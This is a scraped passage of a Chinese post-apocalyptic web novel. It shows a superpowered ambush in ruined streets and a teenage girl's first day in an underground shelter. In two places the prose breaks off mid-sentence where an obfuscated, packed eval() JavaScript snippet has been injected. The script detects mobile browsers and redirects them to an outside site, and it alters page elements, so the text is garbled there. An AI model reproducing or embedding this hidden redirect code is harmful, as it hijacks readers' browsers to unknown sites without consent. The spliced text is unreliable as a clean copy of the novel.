他回头朝沈悬衡递了个“放心”的眼神,随即身影一闪,便灵巧地没入了那片泥泞与残雪交织的废墟之中。 脚下的路比想象中更难走。冻土化开表层,底下还是硬的,踩上去一脚深一脚浅,烂泥巴像是无数只冰冷的小手,死死拽着靴子,试图把它留下来做个纪念。 陆昭妄一边在心里骂骂咧咧地吐槽这鬼天气和这更鬼的地面,一边以一种猫科动物般的轻盈,尽可能寻找着尚且坚固的落脚点——凸起的路缘石、倒塌的混凝土块、甚至是一些冻得半硬的雪堆。 他没有直线前往那个记忆中的通风口,而是绕了一个大圈,刻意穿过几栋结构复杂、视野受阻的危楼。 他的耳朵捕捉着除了融雪声外的任何异响,眼睛像扫描仪一样扫过每一个窗口、每一片阴影。 他甚至在一个拐角处突然蹲下,假装系鞋带,实则用余光仔细观察了身后几十秒。 “打扫得挺干净啊,”他盯着不远处一片空地上几乎被泥水完全覆盖、但依稀能看出非自然形成的刮擦痕迹,在心里冷笑,“这是知道客人要来,提前把地毯都吸了一遍?” 确认尾巴没跟上来,他才调整方向,朝着那片位于小镇相对核心区域的、埋藏着“惊喜”的目标摸去。 最终,他在一栋半边坍塌的二层小楼里停下,选择了二楼一个视野尚可、且被残存墙体遮蔽了大半的角落,作为本次“收快递”行动的第一个观测点。 下方不远处,那个锈迹斑斑、约莫半米见方的金属格栅,静静地位于两栋建筑夹角的背风处,周围融雪的速度似乎比别处慢些,格栅边缘还残留着些许白色的冰棱。 从他现在这个角度,看不清格栅缝隙后的具体情况,也听不到任何机械的嗡鸣。 一切,安静得有些过分。 陆昭妄调整了一下呼吸,将身体彻底隐入墙壁投下的阴影里,像一尊逐渐冷却的雕像,只剩下那双深褐色的眼睛,在昏暗的光线下,闪烁着耐心而锐利的光。 时间在寂静的观察中缓慢流逝,每一秒都像在绷紧的神经上轻轻刮擦。 陆昭妄的耐心像一根逐渐绷紧的弦,身体的每一块肌肉都维持在微妙的平衡点,既放松又随时可以爆发出全部力量。 下方的通风口依旧死寂,连融雪滴落的水声都显得格外清晰,仿佛某种倒计时。 就在他脚尖微动,准备悄无声息地变换到下一个观察位置的瞬间—— 身侧残破的墙壁阴影里,一道身影如同鬼魅般骤然扑出! 没有呼喊,没有预警,只有撕裂空气的锐响和一股直奔他膝关节侧面而来的、精准而狠戾的力道。 那速度太快,几乎超越了人体反应的极限。 陆昭妄瞳孔骤然紧缩,肾上腺素瞬间飙升。他腰腹核心猛地发力,硬生生将身体向侧后方强行拧转,同时不假思索地抬起左臂,以小臂最坚硬的尺骨部位迎了上去。 “砰!” □□和骨骼硬撼在一起的沉闷声响在寂静的废墟中格外刺耳。 一股巨大的、近乎蛮横的力量沿着手臂传来,让他整条左臂直至肩胛都瞬间麻痹,脚下不由得踉跄半步,靴底踩碎了身后一块早已松动的砖石,碎屑簌簌落下。 偷袭者一击不中,落地时却如同羽毛般轻盈无声,动作没有丝毫停顿或调整,仿佛刚才那石破天惊的一击只是信手拈来。 他如同扑食的猎豹再次贴身靠近,拳、肘、膝、腿化作一连串暴风骤雨般的复合攻击,招招直奔关节、软肋等要害,没有任何花哨多余的动作,只有一种纯粹为了在最短时间内瓦解战斗力而存在的简洁与高效。 陆昭妄彻底收起了之前所有的散漫,眼神变得如同淬火的冰,冰冷而专注。 他不再试图硬接这狂暴的攻击,对方的力量与爆发力明显在他之上。 他转而凭借更胜一筹的灵活性与对战局的精准判断,在狭窄的、布满碎石和断墙的空间内极限闪转腾挪。 他利用半截残垣作为瞬间的遮蔽,侧身让过一记足以砸碎砖块的肘击,又猛地矮身,险之又险地避开了扫向太阳穴的腿风,带起的劲风刮得他脸颊生疼。 几个回合电光火石般的快速攻防间,陆昭妄眼角余光如同最精密的雷达,敏锐地捕捉到高处一闪而过的、极其微弱的反光——那不是玻璃或金属的光泽,更像是……镜片? 另一道身影,如同凝固的雕像,冷静地伫立在对面断墙更高处的阴影里,沉默地俯瞰着下方的激斗,如同一个置身事外的观察者,或者……导演。 “还有一个?”陆昭妄啐掉嘴里因剧烈运动与紧张而泛起的铁锈味,胸腔因急促呼吸而微微起伏,心底却冷笑一声。 压力陡增,但他手上的动作反而更加狠辣刁钻,每一次格挡和闪避都带着以伤换伤的决绝,试图在真正的合围形成之前,先重创甚至解决掉眼前这个如同人形凶器般的棘手对手。 他故意在侧身规避一次横扫时,动作慢了微不可查的一瞬,露出了右侧胸肋处一个极其微小的空当。这破绽转瞬即逝,却足以被顶尖的好手捕捉。 如他所料,眼前的攻击者那双毫无波澜的眼睛里似乎没有任何情绪,但身体却如同最精密的杀戮机器,立刻抓住了这稍纵即逝的机会,一记没有任何预兆、将全身力量凝聚于一点的迅猛直拳,如同出膛炮弹般直捣他的胸腹隔膜区域,力道之猛,足以让人瞬间窒息昏厥。 然而,就在那拳头携着恶风即将狠狠撞上他身体的瞬间,异变发生了! 攻击者的拳锋轨迹竟在最后关头自行发生了极其微妙的、违反人体发力常识的偏转,仿佛早就穿透了他的所有意图,预判到了他后续所有可能的闪避与格挡动作,拳头以一种更刁钻、更违背常理、更难以防范的螺旋角度,擦着他原本准备硬扛并反击的肋骨边缘,轰向了一个看似空无一物,却恰好能封死他所有后续变化的位置! 同时,他头顶上方,一块因两人刚才交手震动而早已松动的砖石,不早不晚,就在他旧力已尽、新力未生的这个绝对尴尬的时刻,恰到好处地带着死亡的气息垂直坠落,封死了他唯一还算可行的侧闪路线! 一次是巧合,两次是运气,但这种天衣无缝、仿佛能预知未来每一步、将环境都计算在内的配合—— 陆昭妄脑中仿佛有电光闪过,瞬间明悟!这绝不是普通格斗高手或默契搭档能做到的! 对方有和他类似的“异常”,而且不止一种,还在相互配合,形成了一个近乎完美的杀局! “怪不得!”他眼中闪过一丝被彻底算计后的兴奋与冰冷的了然,胸腔里翻涌着一种遇到同类的奇异战栗,“原来都是‘同路人’!” 话音未落,他不再有任何保留,一直压抑在体内深处的那股扭曲常理、颠覆规则的力量如同决堤的洪流般奔涌而出! 【逻辑重构】全力发动! 这一次,不再是小心翼翼地试探或局部修正,而是同时、粗暴地、小范围地颠覆两个最基础的事实逻辑——“攻击者重心稳定”的逻辑,以及“那块坠落的砖石会遵循重力加速度笔直落下”的逻辑! 嗡—— 一股无形的、仿佛能扭曲光线的涟漪以他为中心骤然扩散开来,范围内的空气似乎都凝滞了一瞬。 正欲根据“预演”好的剧本变招追击的眼镜兄,脚下原本坚实的地面仿佛瞬间变成了滑不留手的冰面,重心毫无征兆地偏移,一个趔趄,差点自己把自己绊倒,那行云流水般的连环攻势如同被卡住的齿轮,瞬间一滞。 而那块正对着陆昭妄头顶坠落的砖石,也在半空中诡异地、毫无道理地划出一道小小的弧线,像是被一只无形的手轻轻拨开,最终偏离了原本致命的轨迹,带着几分不甘,“啪”地一声砸在了几步开外的泥水地里,溅起一片浑浊的水花。 战场形势因这超越常理的力量的正式、激烈碰撞而瞬间升级。 陆昭妄那诡异莫测、专打常识软肋的能力,与眼镜兄那精密如棋、算无遗策的全局推演,以及打手兄随之变化的、仿佛能拆解一切实体与能量结构的凶猛攻击,在这片泥泞不堪的末日废墟中轰然对撞,彼此制约,彼此试探,一时间竟陷入了某种违背物理法则的、令人窒息的僵持。 空气仿佛凝固成了实体,每一次呼吸都带着沉重的压力。 陆昭妄的额角渗出细密的汗珠,并非全然因为体力消耗,更多的是精神高度集中对抗两种截然不同却又配合默契的异常能力所带来的负荷。他能感觉到自己扭曲逻辑时那股力量对自身的拉扯,如同在淤泥中挥舞重剑。 就在他全神贯注应对前方如同暴风骤雨般不断调整、试图拆解他每一次“逻辑漏洞”的攻击,以及高处那无处不在、总能提前半步封堵他最优路线的“巧合”时,陆昭妄嘴上也没闲着。 “喂,打手兄,”他侧头避开一记凌厉的肘击,气息微促却语带嘲讽,“你主子在上面光看不练,就让你一个人卖苦力?这待遇不太行啊。” 攻击者的动作似乎凝滞了微不可查的一瞬,攻势更显狂暴。 “关你屁事!”一声压抑着怒气的低吼从对手牙缝里挤出。 “略。”高处传来一个冷静到几乎没有波澜的男声,带着不容置疑的制止。 陆昭妄嗤笑一声,正想再添把火,一股截然不同的力量却如同温润却无孔不入的水流,悄然漫延开来,打断了他的思路。 它并非作用于物理世界,而是直接渗透进他的意识。 一股强烈的、莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647177|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名的疲惫感席卷而来,同时,一种寻求和解、渴望停止争斗的柔和冲动在他心底滋生,不断软化着他紧绷的抵抗意志。一个清晰而充满抚慰力量的女声,并非通过耳朵,而是直接在他心神中响起: “停手吧……你很累了,我看得出来……我们并非一定要为敌,或许我们可以谈谈。” 这感觉太过诡异,陆昭妄心神剧震,瞬间意识到这是第三种异常能力!而且是更棘手的精神渗透! “操……精神攻击还带配音……”他咬牙低语,【逻辑重构】的力量在体内疯狂运转,试图对抗这股外来的情绪洪流,但这比他扭曲物理规则要困难得多,疲惫与和解的念头不断侵蚀着他的战意。 此人敏锐地抓住了他心神失守的这微小瞬间。那直接影响情绪的力量骤然加强。 也就在这一刻,前方的攻击者眼中精光一闪,捕捉到了这稍纵即逝的战机。 他的攻击方式陡然一变,拳风中似乎也带上了某种引导情绪、放大内心空隙的奇异力量。 “还带情绪附魔……你们花样还真多……”陆昭妄试图吐槽,但身体的反应终究慢了半拍。 砰! 一记沉重而刁钻的打击,巧妙地绕过了他最后的格挡,狠狠落在了他的颈侧与肩胛连接处。 陆昭妄只觉得一股剧痛混合着强烈的眩晕感猛地炸开,视野瞬间模糊,身体的控制力迅速流失。 在他意识彻底陷入黑暗之前,模糊地听到那个直接传入他心神的、此刻却带着一丝轻松的女声说道: “搞定。略,带上他。策,清理一下痕迹。我们去‘请’他的那位女同伴。” 女同伴?! 这三个字如同惊雷,让他几乎涣散的意识挣扎着凝聚起最后一丝力气。 “你们……怎么知道……”他试图质问,声音却微弱得如同呓语,后续的话语被更深的黑暗吞噬。 “希望她能比这个嘴硬又狡猾的家伙更好沟通一些。” 那个女声补充道,随后似乎转向了其他人。 “清欢姐,目标已制服。按计划进行吗?” 无尽的疑问和对自己行动缜密性的强烈怀疑,混合着颈侧的剧痛,成了他彻底失去意识前,唯一清晰又冰冷的念头。 藏身点内,时间在沉默中显得格外黏稠。 沈悬衡已经第三次检查了对讲机,电量满格,频道正确,除了细微的电流底噪,再无其他声响。 距离约定的第一次联络时间已经过去了二十三分钟。这超出了陆昭妄通常会预留的时间。 她放下对讲机,走到墙边,指尖无意识地划过那些记录日期的刻痕。 融雪的水声从外面隐约传来,带着一种令人不安的持续性。 她试图将注意力集中在清点所剩无几的医疗物资上,酒精棉片的数量,绷带的长度,止痛药的片剂……但一部分思绪却不受控制地飘向外面那片泥泞的废墟。 他或许只是遇到了需要更长时间观察的情况,或者被某些意外的障碍拖住了脚步。他一向机警,甚至有些过度谨慎,应该…… 就在这时,一股强烈而陌生的情绪毫无征兆地在她心底涌起——那是一种混合着担忧、焦急,以及一种近乎确凿的、认为“他肯定出事了,必须立刻出去确认”的冲动。 这感觉来得如此迅猛和自然,几乎让她以为是自己的想法。 不。不对。 沈悬衡瞬间绷紧了身体,【私心天平】本能地运转,却找不到任何可以“分担”的实体伤害。 这情绪是外来的,如同无形的潮水,试图淹没她的理智。 她猛地咬了口舌尖,铁锈味瞬间充满口腔,试图用这种方式维持清醒。 “谁?”她低喝,声音在狭小的空间里显得有些紧绷。 那情绪的浪潮并未退去,反而更加汹涌。 悲伤、信任的渴望、对同伴安危的极致关切……种种感觉被放大,不断冲击着她的心防。一个模糊的、充满善意的意念似乎在引导她: 打开门,外面没有危险,只有你需要确认的答案。陆昭妄可能受伤了,正等着你去帮他…… “他在哪里?” 她再次开口,声音带着抵抗的微颤,目光锐利地扫视着入口方向,身体已经进入了防御姿态。 没有回应。 只有那持续不断的情感渗透,像温暖的蛛网,一层层缠绕上来,软化她的警惕,瓦解她的判断。 那扇门在她眼中仿佛变成了唯一的希望,门外是她急需确认的、关乎陆昭妄安危的真相。 理智在呐喊这极可能是个陷阱,但被刻意引导、放大的情感却驱使着她,逼迫着她,手指不受控制地、微微颤抖地,伸向了门栓。 就在她不受控制的打开门后—— 外面,一个扎着酒红色蝎尾辫、眼眸明亮的女人正笑盈盈地看着她,手中一把手枪稳稳地抬起,黑洞洞的枪口精准地对准了她的眉心。 女人身后,隐约可见另外两道沉默的身影。 沈悬衡的动作彻底僵住,所有外来的情绪在这一刻如同潮水般退去,留下的是冰冷的现实和沉入谷底的心。 通讯中断,计划之外的强敌,以及对方精准找到藏身点并利用某种方式诱使她开门的算计…… 陆昭妄,恐怕真的落入了对方手中。 冰层碎裂,蛰伏的危机终于显露出獠牙。 “别动。” 这是沈悬衡自开春后,第一次听见的,除了陆昭妄以外的人类的声音。 21. 巢穴入职记 午后三四点的光景,从巢穴入口处宽阔的通风井斜斜地投下几缕稀薄的光柱,勉强照亮了空气中浮动的尘埃。 祝昭站在原地,看着沈悬衡和陆昭妄的身影消失在通往临时居住区的通道拐角,心里头像是突然空了一块,带着点凉飕飕的茫然。 她下意识地攥紧了衣角,目光在那条通道口流连,仿佛这样就能把刚刚建立起的那点熟悉感多留住片刻。 就在她怔怔出神时,一个略显低沉的声音在旁边响起:“安排好了。” 祝昭回过神,转身看见江敛不知何时已经从守卫那边交代完毕,正站在离她几步远的地方。 他脸上没什么表情,像是完成了一项再寻常不过的流程通报。 祝昭想起刚才守卫确实先将江敛叫到一旁低声交代了几句,想来就是这事。 她“哦”了一声,手指下意识地捏紧了随身那个看起来容量不大、却装着她全部家当的帆布包带子。 江敛没再多做解释,只是简洁地说了句:“走吧,先去住的地方,领你的基础物资。” 说完便转身,熟门熟路地走向与沈悬衡他们离去方向相反的、另一条通往居住区域的通道。 江敛的步伐稳定,带着一种在这里生活了三个月的人特有的、对路径和规则的熟悉,肩背挺直,却并不显得紧绷。 祝昭赶紧收敛心神,小跑两步跟了上去。 通道比入口处更加幽深,两侧像是粗糙开凿和用旧时代建筑材料仓促加固的岩壁,头顶每隔一段距离才有一盏散发着昏黄光线的低功耗灯具,在脚下投下明明暗暗、摇曳不定的光影。 空气里弥漫着一种复杂的气味,隐约的潮湿土腥气、人类聚集生活的体息、若有若无的消毒水味道,还有一种难以言喻的、属于庞大机械运转时产生的微弱臭氧味,混杂在一起,构成了一种独属于这座地下堡垒的气息。 脚步声在相对封闭的空间里回响。 江敛走得很快,几乎没有左右张望,仿佛闭着眼睛也能在这迷宫里找到路。祝昭却忍不住用眼角余光打量四周。 偶尔有看起来就是小团体的人与他们擦肩而过,大多行色匆匆,面容疲惫或漠然,只有极少数人会投来一瞥,目光在她这个生面孔上短暂停留,带着审视或纯粹的好奇,然后又迅速移开,融入通道的阴影里。 一种无形的、井然有序却又压抑的节奏感,随着这沉默的行进,慢慢渗透过来。 她小跑着,勉强与江敛保持着一米左右的距离,靴子踩在不算平整的地面上,发出略显空旷的嗒嗒声。 通道似乎没有尽头,在昏黄光线下不断分岔、延伸。 江敛的脚步没有丝毫迟疑,偶尔会遇到需要验证身份的闸口,门旁的守卫会让江敛出示身份牌,在确认无误后,厚重的金属门便无声的被打开。 祝昭默默跟在后面,感觉自己像被带入某个巨大生物体内的一粒微尘。 不知走了多久,周围的空气稍微流通了些,通道也宽阔起来,两侧开始出现一排排整齐的、带有编号的金属门。 这里大概是居住区了,隐约能听到些人声,隔着门板,听起来显得模糊。 江敛在其中一扇标着“B-17”的门前停下,从口袋中掏出钥匙打开门,侧身让祝昭先进。 里面的空间狭小,一眼就能望到头。 一张固定在墙上的简易床铺,一个嵌在墙里的储物柜,一张小桌板和一把椅子,除此之外别无他物。空气里有一股新刷涂料和金属混合的味道,还算干净。 “这是你的房间。”江敛的声音在狭小空间里显得格外清晰,“我住隔壁B-16。”他指了指左手边的墙壁。 “这里是男女混住吗?会不会有什么不方便的地方?”祝昭显然没想到,原来在这种地方没有像旧世界那样的男女分宿舍。 “嗯。这里只是看着大,实际上分给可供居住的地方很少。”江敛说着,把房间钥匙交给祝昭。 “噢……” 祝昭接过钥匙,开门走进去,把随身行李包放在床上,床板发出轻微的吱呀声。她环顾四周,一种难以言喻的疏离感涌上来。 这里,就是她以后要称之为“住处”的地方了。 “基础物资要去前面统一领取点。” 江敛说完,又转身带路。 这次没走太远,就在这片居住区的一个开阔处,有几个窗口开放着,前面稀稀拉拉排着小队。 流程很快,核对完身份信息,就会从窗口里递出来一个半透明的收纳箱。 里面装着灰蓝色的铺盖卷、一套看上去没有拆封的,酒店样式的洗漱用品、几件用来过冬的衣物,还有一个标有个人编号的水壶和饭盒。 箱子有点沉,祝昭抱着有些吃力。 江敛很自然地伸手接了过去,替她拿着。 “谢谢啊。”祝昭小声道谢,心里有点不好意思,又有点暖。 回到B-17门口,江敛把箱子放在门内地上。 “新人有三天的自由适应期。”他看着祝昭,语气依旧是那种平稳的调子,像是在复述规章条款,“这三天,你可以自己熟悉巢穴的公共区域,食堂、基础医疗点、供水站的位置,地图在终端上有,房间里有接入端口。记住哪些地方不能去,标识很清楚,别违反。” 他顿了顿,补充道:“三天后,会根据评估给你分配工作。内部巡逻,或者去医疗队帮忙,可能性比较大。” 祝昭点点头,表示记下了。 自由三天,听起来不错,但她更关心别的。 她犹豫了一下,还是问了出来:“那个……江敛,你刚来这里的时候,也像我这样……什么都摸不着头脑吗?” 江敛似乎没料到她会问这个,沉默了几秒才回答:“过程差不多。规矩看多了,自然就懂了。”他的回答避开了个人感受,只陈述事实。 “嗯……”祝昭想了想,“江敛,你在这儿待了多久啊?” “三个月左右。末世爆发后没多久,我在外面搜寻物资时遇到了怪物,被巢穴的人救下,顺势就住下了。” 就在这时,旁边B-15的房门吱呀一声开了,一个头发花白、面容慈祥的大婶探出头来,看到江敛和站在新房间门口的祝昭,脸上立刻露出笑容:“哟,小江,带新人呢?这小姑娘看着真水灵,多大啦?” “我十六啦。”祝昭笑着答道。 “哎呦,才十六啊,不容易不容易。”大婶上下打量着祝昭,眼神里带着善意的怜悯和好奇,“以后就是邻居啦,我姓王,叫我王婶就行。缺什么少什么,或者有啥不明白的,要是小江没空,就来问我!” “谢谢王婶。”祝昭赶紧道谢,这种突如其来的热情让她有些无措,但心里那点初来乍到的紧张感,确实被冲淡了不少。 几乎同时,对面B-18的门也开了,一个看起来二十出头、头发乱糟糟的年轻男人探出身子,手里还拿着个拆开一半的老旧电路板。 “新人?”他咧嘴笑了笑,露出两颗虎牙,“我叫阿和,负责维护这片的照明和部分通风。有事喊我,虽然我大部分时间都在跟这些不听话的线路较劲。”他晃了晃手里的电路板。 “你好,我叫祝昭。”祝昭也朝他笑了笑。 江敛看了看旁人,又看了看祝昭,说道:“你适应的很快。接下来我再带你走一遍供水站的路线,你就可以自由分配时间了。” “有,有吗?嘿嘿……”祝昭有些不好意思,她一把把刚到手的物资挪进房间更里面,有些不好意思地笑着,“我先把这些收拾好!OK,咱们走吧。” “嗯。” 在去往供水站熟悉路线的短暂途中,他们还遇到了一位沉默地坐在通道拐角长椅上休息的老人。 老人穿着洗得发白的旧制服,膝盖上盖着薄毯。 他看到江敛,微微点了点头,目光落到祝昭身上时,浑浊的眼睛里透出一丝温和。 他没说话,只是从口袋里摸索出一块用干净手帕包着的、看起来像是自制的果脯,颤巍巍地递向祝昭。 祝昭有些惊讶,看向江敛。 江敛几不可查地点了下头。祝昭这才接过,小声道:“谢谢……爷爷。” 老人脸上露出一点浅浅的笑意,依旧没说话,只是重新靠回椅背,闭上了眼睛。 江敛对祝昭说:“这是老周,以前是工程师。人很好,就是不太爱说话了。他应该是听说了你的消息,所以特地准备了一些……小礼物,等着你经过。” 祝昭心里动了动,有些缓慢,又带着一些别样的情绪,点了点头。 看来这冷冰冰的巢穴里,也不全是漠然的面孔,不同的人以各自的方式表达着善意。 江敛带着祝昭短暂熟悉过后,便带着祝昭回到了住所,说:“你先整理一下。记住我说的话。”说完,他便转身走向隔壁自己的房间,打开了门。 祝昭看着他的背影消失在B-16门后,又看了看王婶和阿和的房间门,这才进入自己的小隔间,关上了门。 她长长地吁了口气。 狭小的空间里只剩下她自己,外面隐约的嘈杂被隔绝了大半。 祝昭走到墙边那个简单的终端接入端口前,屏幕是暗着的。她没有立刻去启动它,而是走到床边坐下,手指拂过粗糙的灰蓝色床单。 三天。 她只有三天时间来熟悉这个庞大、复杂、既有序又透着古怪的地下世界。 沈悬衡的提醒言犹在耳,江敛的告诫清晰明确,王婶、阿和、老周这些人的友善也真实可感。各种信息在她脑海里打转。 她站起身,开始动手拆解那个被她仓促推进来的物资箱。 她把铺盖卷展开,铺在床板上,动作有些笨拙。又把洗漱用品和衣物分门别类放进储物柜。 每一样东西上都带着统一分配的、非个人的气息。 当她拿起那个印着编号的饭盒时,金属冰凉的触感让她微微怔了怔。 这就是开始了。 以她自己的名义,在这个名为“灰鼹鼠巢穴”的地方,活下去。 将最后一件灰扑扑的衣物叠好放进储物柜,祝昭直起身,拍了拍手上并不存在的灰尘。 狭小的隔间因为铺上了床褥,放置了个人物品,总算有了点“住处”的样子,尽管依旧简陋得可以。 她走到门边,侧耳听了听外面的动静,隐约的人声和远处机械的嗡鸣交织着。 那三天的自由时间像一块诱人的糖果,让她坐不住。 深吸一口气,她拉开了房门。 通道里的光线依旧昏黄,但适应了之后,倒也不觉得特别压抑。 她凭着来时的模糊记忆,朝着之前领取物资的那个相对开阔的区域走去。 路上遇到的人比刚才多了一些,大多行色匆匆,但也有几个看起来不那么赶时间的。一个穿着灰布衣服、头发剃得很短的中年男人靠在对面的墙边,手里把玩着几个不知名的金属零件,看到祝昭,他挑了挑眉,吹了声口哨,不算轻佻,更多的是打量。 “新来的?”他声音有点沙哑。 祝昭脚步顿了顿,点点头。 “啧,小丫头片子。”男人扯了扯嘴角,“跟着谁进来的?” “江敛。”祝昭老实地回答。 男人脸上的表情似乎松动了一下,像是听到了什么意料之中的答案,他上下又扫了祝昭一眼,没再说什么,只是低头继续摆弄他的零件,仿佛失去了兴趣。 祝昭心里有点莫名其妙,但还是继续往前走。 到了物资领取点附近,这里人来人往稍微热闹些。 她看到角落里立着一个公共信息查询终端,屏幕亮着,显示着巢穴的简易分层地图和一些滚动公告。 祝昭凑过去,手指在冰冷的屏幕上划拉着,努力记下食堂、供水站、基础医疗点这些关键图标的位置。 地图上有些区域被标记为红色或打着叉,旁边注明了“权限禁止”或“危险勿近” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647178|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比如一些设备维护通道和旧的仓储区。 正当她试图分辨一条通往某处仓储区的通道标记时,一阵略显急促的脚步声从主干道方向传来。 她下意识抬头,看见四名装备明显比普通巡逻人员精良、身着深色制服的卫兵,神情冷峻,步伐统一地快速穿过人群,朝着某个通道口而去。周围的人流像是遇到礁石的溪水,自然地分开,给他们让路,不少人低下头,或移开视线,气氛瞬间变得有些凝滞。 那队卫兵很快消失在通道尽头,周围才慢慢恢复之前的流动。 祝昭心里咯噔一下,想起沈悬衡分别时那句“一切小心”,也想起江敛方才的告诫。她犹豫了一下,转身快步走回居住区,来到B-16门口,抬手敲了敲门。 门很快开了,江敛站在门口,他似乎正在整理东西,手上还沾着点机油的痕迹。“怎么了?” 祝昭压低声音,带着点掩饰不住的好奇和紧张:“我刚才看到一队卫兵,穿着不一样,跑得很快……他们……是去干嘛的?这里经常这样吗?” 江敛闻言,眉头几不可查地蹙了一下,他侧身让开一点空间,示意祝昭进来。 他的房间和她的布局一样,但整洁得过分,所有东西都摆在最合理的位置,几乎看不到任何个人杂物,只有桌面上放着几件拆卸到一半的机械部件和工具。 关上门,隔绝了外面的声音,江敛才开口,声音压得更低:“那是直属指挥室的内部安全队。”他顿了顿,似乎在权衡措辞,“偶尔会有调动。通常……意味着某些区域需要加强管控,或者处理突发事件。” “哦……”祝昭似懂非懂地点点头,又想起之前的事,“那……你之前找队长的时候,有没有遇到过他们?或者……你觉得队长的失踪,会和指挥室有关吗?” 江敛的嘴唇抿成一条细线,沉默了片刻,才缓缓摇头:“不知道。”他的声音更沉了些,“我的权限不够,接触不到核心信息。队长的最后一次任务记录……有些部分被加密了。指挥室的说法是常规外勤,但……”他停顿了一下,没有再说下去,只是看着祝昭,眼神里带着明确的告诫,“记住,看到他们,避开。看到禁止通行的标识,绕开。在这里,遵守规则,保持低调,才能活得久。” 他的回答让祝昭意识到,巢穴内部果然有着严格的等级和秘密。 连在这里待了三个月的江敛都说不清楚,指挥室和那些加密信息背后恐怕隐藏着不少事情。 “还有,”江敛补充道,语气恢复了平时的平稳,更像是在传授经验,“注意节约用水用电,配额有限。食堂供餐有时间规定,错过就没了。如果被分配到工作,认真做,但不要过分表现,也不要打探别人的事情。这里的人……背景复杂。” 祝昭认真记下:“嗯,我明白了。谢谢您告诉我这些。” “嗯。”江敛应了一声,走到桌边,拿起一个细小的弹簧,“一些换下来的旧零件,看看能不能再利用。”他的手指灵活地将弹簧卡回某个结构里,发出轻微的“咔哒”声。 祝昭看着他专注的侧脸,忽然觉得这个看似冷漠的少年,其实也有着不为人知的细心和耐心,并且愿意分享他在这里积累的生存经验。 她没再追问卫兵的事,只是默默地看他摆弄了一会儿零件,直到他把那个小部件重新组装好,放回一堆类似的零件里。 “我想再出去转转,熟悉一下食堂在哪。”祝昭说道。 “嗯。”江敛头也没抬,“记住路。别走太远。” 从江敛的房间出来,祝昭慢慢走回隔壁自己的B-17。 金属门在身后合拢,发出沉闷的轻响,将外面那个庞大、复杂且潜藏着未知规则的世界暂时隔绝。她背靠着冰凉的门板,缓缓吁出一口气。 狭小的空间里异常安静,只有她自己略显急促的呼吸声。 脑海里反复回响着刚才的对话——江敛提到“内部安全队”时微蹙的眉头,说到“权限不足”和“规则”时的平静与克制,以及他传授的那些具体而微的巢穴生活经验。 这一切都像一块块拼图,开始勾勒出她未来生活的轮廓。 这个巢穴,远不像表面看起来那样仅仅是一个秩序井然的避难所,但也并非铁板一块,有着它自己的脉络和缝隙。 她走到床边坐下,牙齿无意识地咬着左手食指指节。 在祝昭十六岁的生命里,经历过流离失所,经历过生死瞬间,却从未像现在这样,感觉自己踏入了一个巨大的、布满迷雾的棋盘,每走一步都可能触碰到看不见的界限。 江敛似乎是目前唯一能稍微依靠的“自己人”,但他显然也受限于这里的规则,并且秉持着一种极度谨慎的行事风格。好在,还有一些像王婶、阿和那样散发善意的人。 三天。 她只有三天无拘束的时间。 祝昭躺下身,拉过那套统一配发的、带着一股淡淡消毒水气味的铺盖盖在身上。 头顶那盏昏暗的灯具已经被她关掉,只有门缝底下透进来一丝极其微弱的光线,勾勒出房间模糊的轮廓。 巢穴深处那种低沉的、持续不断的机器嗡鸣,在寂静中显得格外清晰,像某种沉睡巨兽的呼吸,无处不在,提醒着她此刻身处的环境。 她闭上眼睛,却没有立刻睡着。各种画面和信息在黑暗中翻腾。 对未来的茫然,对未知的一丝恐惧,混杂着一点点不肯服输的倔强,以及新认识的面孔带来的细微暖意,在她年轻的心里交织。 这定居的第一个夜晚,注定无法真正安宁。 身下的床板有些硬,陌生的气息萦绕在鼻尖。 祝昭在黑暗中睁着眼,听着那规律而低沉的嗡鸣,知道自己需要尽快适应,需要更快地看清这里的规则,需要找到属于自己的、在这个棋盘上安全行走的方式。 寂静的黑暗中,祝昭轻轻翻了个身,将脸埋进带着陌生气味枕头里。 明天,她要好好利用这“自由”的第一天。 22. 这地方不太对劲 清晨——或者说,是巢穴模拟出的清晨时分,通道顶部的灯光由夜间的昏黄转为一种偏冷的白色,伴随着一阵轻柔却足以唤醒所有人的预备铃音——祝昭一个骨碌从床上坐了起来。 三天的自由时间,宝贵得像从指缝里漏下的金沙,她可一分钟都不想浪费。 祝昭利落地换好衣服,对着墙壁上一小块能勉强反光的金属板扒拉了两下睡得有些翘起的头发,她深吸了一口带着金属和消毒水味道的空气,拉开了房门。 通道里已经有人走动,大多睡眼惺忪,面无表情。 祝昭像一尾突然闯入静水的小鱼,带着与周遭格格不入的鲜活气,目标明确地朝着记忆中的公共食堂走去。 她可不是去机械完成“进食”这个任务的,她是去“侦察”的——用她自己的方式。 食堂比她想象中更大,弥漫着一种食物被大规模烹煮后混合在一起的、难以形容的温热气味。 几个窗口前排起了不长的队伍。祝昭没有急着排队,而是先猫在一旁观察了一会儿。 祝昭很快发现,最边上那个窗口后面是个有点胖乎乎、面相和善的大叔,打菜的动作似乎比旁边窗口那位瘦高、严肃的大婶要“豪爽”那么一点点。 她立刻溜达过去,排在了胖大叔的窗口队伍后面。 轮到她时,祝昭扬起一个尽可能甜的笑容,声音清脆:“叔叔早!” 胖大叔愣了一下,似乎很少遇到这么有“朝气”的打招呼,抬眼看她:“新来的?” 